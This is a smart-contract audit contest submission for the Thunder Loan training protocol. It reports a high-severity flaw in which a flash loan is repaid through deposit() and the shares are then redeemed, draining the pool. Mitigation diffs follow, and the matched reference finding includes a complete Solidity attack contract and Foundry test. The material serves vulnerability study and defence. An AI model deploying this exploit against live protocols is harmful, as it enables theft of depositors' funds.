Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan can be repaid via deposit(): borrow without repaying, draining the pool

Root + Impact

Normal behavior: flashloan() lends tokens to a contract that must return amount + fee within the same transaction; repay() is the documented repayment path; deposit() lets LPs supply capital and mints AssetToken shares in return.

The issue: flashloan() validates repayment by checking ONLY the final token balance (ThunderLoan.sol:212-215). It never enforces that funds arrive via repay(). deposit() (ThunderLoan.sol:147-156) has no flash-loan guard, so the receiver contract can deposit the borrowed amount (plus dust for the fee) inside the callback. The balance check passes — but the depositor receives freshly minted AssetToken shares over those very same tokens, and calls redeem() after the loan completes to withdraw them again. The loan is never repaid: the same tokens are counted once as repayment and again as the attacker's deposit.

// ThunderLoan.sol
function flashloan(...) external {
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(abi.encodeWithSignature("executeOperation(...)", ...));
@> uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // deposit() satisfies this check
@> revert ThunderLoan__NotPaidBack(...);
}
s_currentlyFlashLoaning[token] = false;
}
function deposit(IERC20 token, uint256 amount) external ... {
@> // no check of s_currentlyFlashLoaning — callable inside the flash-loan callback
...
assetToken.mint(msg.sender, mintAmount); // shares minted over the repayment tokens
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood: High.

  • Reason 1: Any user can trigger this whenever liquidity sits in the pool — no privilege, no timing dependence, no victim mistake required.

  • Reason 2: Execution cost is gas plus dust capital (~0.4% of the loan for the fee gap); the attack is atomic and repeatable for every allowed token.

Impact:

  • Impact 1: The flash loan is never repaid — the attacker walks away with the entire borrowed amount.

  • Impact 2: LP principal is drained; remaining LPs' AssetToken redemptions revert on insufficient balance (total claims exceed pool funds).

Proof of Concept

Foundry test: test/poc/PocDepositRepay.t.sol (PoC file added under test/poc/ in the contest repo; mocks from test/mocks/).

The attack contract deposits everything in the callback (borrowed 500 tokenA + 2 tokenA capital) and redeems all shares after flashloan() returns:

attacker final balance: 502504092391396109006 (capital was 2e18)
pool remaining: 499495907608603890994 (was 1000e18)

Actual vs expected: attacker net profit ~= 500.5e18 tokenA (un-repaid 500e18 loan + ~0.5e18 exchange-rate skim); an honest borrower's expected result is negative (they pay the fee). LP loses ~50% of principal in a single loan.

Recommended Mitigation

Enforce the repay() path with cumulative tracking (reset per loan), keep the balance check as defense-in-depth, and block share-minting/burning entry points while a loan is active:

+ mapping(IERC20 => uint256) private s_repaidDuringLoan;
function flashloan(...) external {
...
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) revert ThunderLoan__NotPaidBack(...); // kept as defense-in-depth
+ if (s_repaidDuringLoan[token] < fee) revert ThunderLoan__NotPaidBack(...); // repay() must actually be used
+ delete s_repaidDuringLoan[token]; // reset per loan
s_currentlyFlashLoaning[token] = false;
}
function deposit(IERC20 token, uint256 amount) external ... {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning();
...
}
function redeem(...) external ... {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning();
...
}
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) revert ThunderLoan__NotCurrentlyFlashLoaning();
+ s_repaidDuringLoan[token] += amount;
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Note: the deposit()/redeem() guards alone close the masquerade; the cumulative repay() tracking additionally prevents dust-sized repay(1 wei) tricks, and the per-loan reset prevents one repayment from covering later loans.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!